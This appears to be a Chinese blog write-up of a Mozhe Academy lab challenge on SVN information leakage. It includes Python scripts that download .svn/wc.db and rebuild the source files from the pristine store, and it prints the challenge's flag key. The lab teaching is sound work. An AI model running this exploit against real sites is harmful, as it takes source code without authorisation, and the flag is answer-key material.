加载中

等一下,英子马上到

文章背景图

墨者学院SVN信息泄露漏洞分析(第1题)

2026-06-01
1
-
- 分钟
|

本次打靶场用到的工具有TARE(ai工具)+YAKIT+deepseek

自己编写了ctf-ai-skills,这个skill可以自动化进行渗透测试。

看看最后输出的文档吧,体会一下AI自动化渗透的力量🆒

# SVN信息泄露漏洞利用文档

## 1. 漏洞概述

**目标地址**:http://182.44.114.36:45102

**漏洞类型**:Subversion (SVN) 信息泄露

**风险等级**:高危

**漏洞描述**:目标网站的Web根目录下存在 `.svn/` 目录泄露,攻击者可以通过该目录获取完整的源代码历史记录。

## 2. 信息收集

### 2.1 初始探测

首先对目标进行基础探测:

```
访问 http://182.44.114.36:45102/
```

发现该网站是一个关于"重庆法院强化证据标准"的新闻页面。

### 2.2 发现SVN泄露

尝试访问 `.svn/` 目录:

```
访问 http://182.44.114.36:45102/.svn/
```

返回403 Forbidden,但目录结构存在。

进一步尝试访问 `.svn/entries` 和 `.svn/wc.db`:

- `.svn/entries`:成功获取,显示版本号12
- `.svn/wc.db`:成功下载,这是一个SQLite数据库文件

## 3. 漏洞利用

### 3.1 下载WC数据库

首先下载 `wc.db` 文件,这是SVN工作副本的核心数据库:

```python
import requests

base_url = "http://182.44.114.36:45102"
wc_db_url = f"{base_url}/.svn/wc.db"

r = requests.get(wc_db_url)
with open("wc.db", "wb") as f:
    f.write(r.content)
```

### 3.2 解析数据库

使用SQLite连接数据库并查询 `NODES` 表:

```python
import sqlite3

conn = sqlite3.connect("wc.db")
cursor = conn.cursor()

cursor.execute("SELECT local_relpath, checksum FROM NODES WHERE kind='file'")
files = cursor.fetchall()
```

查询结果显示共有4个文件:

| 文件路径 | SHA1哈希 |
|---------|---------|
| index.html | $sha1$325993e523f98abe3c97c3a8ec602cb3c10b1199 |
| Key is here.php | $sha1$16cb1fccad5a2f1e762be282c1a43f5ea7fabd38 |
| images/bg.gif | $sha1$da253a842506e2b0bb89d7117fe6681ce528dc72 |
| images/style.css | $sha1$d03d5588f5d14dd16184ec1e7a9d533aeacdd119 |

### 3.3 下载源代码文件

SVN 1.7+ 版本将文件内容存储在 `.svn/pristine/` 目录中,路径格式为:

```
.svn/pristine/{前2位哈希}/{完整哈希}.svn-base
```

编写脚本下载所有文件:

```python
import os
import requests

os.makedirs("output", exist_ok=True)

for file_path, checksum in files:
    if checksum and checksum.startswith("$sha1$"):
        sha1_hash = checksum[6:]
        subdir = sha1_hash[:2]
        pristine_url = f"{base_url}/.svn/pristine/{subdir}/{sha1_hash}.svn-base"
        
        r = requests.get(pristine_url)
        if r.status_code == 200:
            local_path = os.path.join("output", file_path)
            os.makedirs(os.path.dirname(local_path), exist_ok=True)
            with open(local_path, "wb") as f:
                f.write(r.content)
```

## 4. 结果分析

### 4.1 恢复的文件

所有文件成功恢复到 `output/` 目录:

```
output/
├── index.html
├── Key is here.php
└── images/
    ├── bg.gif
    └── style.css
```

### 4.2 Key获取

查看 `Key is here.php` 文件内容:

```
mozhe7c1b6af3bcaa7b8a8c20309573b
```

## 5. 完整利用脚本

[svn_exploit.py](file:///e:\AI自动化渗透与代码审计\svn_exploit.py)

```python
#!/usr/bin/env python3
import requests
import sqlite3
import os

# 目标URL
base_url = "http://182.44.114.36:45102"
wc_db_url = f"{base_url}/.svn/wc.db"

# 下载wc.db
print("[+] Downloading wc.db...")
r = requests.get(wc_db_url)
with open("wc.db", "wb") as f:
    f.write(r.content)
print("[+] wc.db downloaded successfully!")

# 连接数据库
conn = sqlite3.connect("wc.db")
cursor = conn.cursor()

# 查询NODES表获取所有文件
print("\n[+] Querying NODES table...")
cursor.execute("SELECT local_relpath, checksum FROM NODES WHERE kind='file'")
files = cursor.fetchall()

print(f"\n[+] Found {len(files)} files!")
for file_path, checksum in files:
    print(f"  - {file_path}: {checksum}")

# 下载所有文件
print("\n[+] Downloading files from pristine directory...")
os.makedirs("output", exist_ok=True)

for file_path, checksum in files:
    if checksum:
        # 解析checksum格式,通常是 $sha1$xxxxxx
        if checksum.startswith("$sha1$"):
            sha1_hash = checksum[6:]
            # 构建pristine路径
            subdir = sha1_hash[:2]
            pristine_url = f"{base_url}/.svn/pristine/{subdir}/{sha1_hash}.svn-base"
            
            try:
                r = requests.get(pristine_url)
                if r.status_code == 200:
                    # 保存文件
                    local_path = os.path.join("output", file_path)
                    os.makedirs(os.path.dirname(local_path), exist_ok=True)
                    with open(local_path, "wb") as f:
                        f.write(r.content)
                    print(f"[+] Downloaded: {file_path}")
                else:
                    print(f"[-] Failed to download {file_path}: HTTP {r.status_code}")
            except Exception as e:
                print(f"[-] Error downloading {file_path}: {e}")

conn.close()
print("\n[+] Done! Check the 'output' directory for recovered files.")
```



## 7. 附录

### 7.1 SVN目录结构说明

- **.svn/entries**:旧版SVN的文件清单
- **.svn/wc.db**:新版SVN的SQLite工作副本数据库
- **.svn/pristine/**:存储所有文件版本的内容,按SHA1哈希索引
- **.svn/text-base/**:旧版SVN的文件基线存储

### 7.2 相关工具

- **SvnExploit**:专业的SVN泄露利用工具
- **dvcs-ripper**:支持多种版本控制系统泄露的利用工具
- **GitHacker**:Git泄露利用工具

---

**文档完成时间**:2026-06-01  
**Key获取**:mozhe7c1b6af3bcaa7b8a8c20309573b

评论交流

文章目录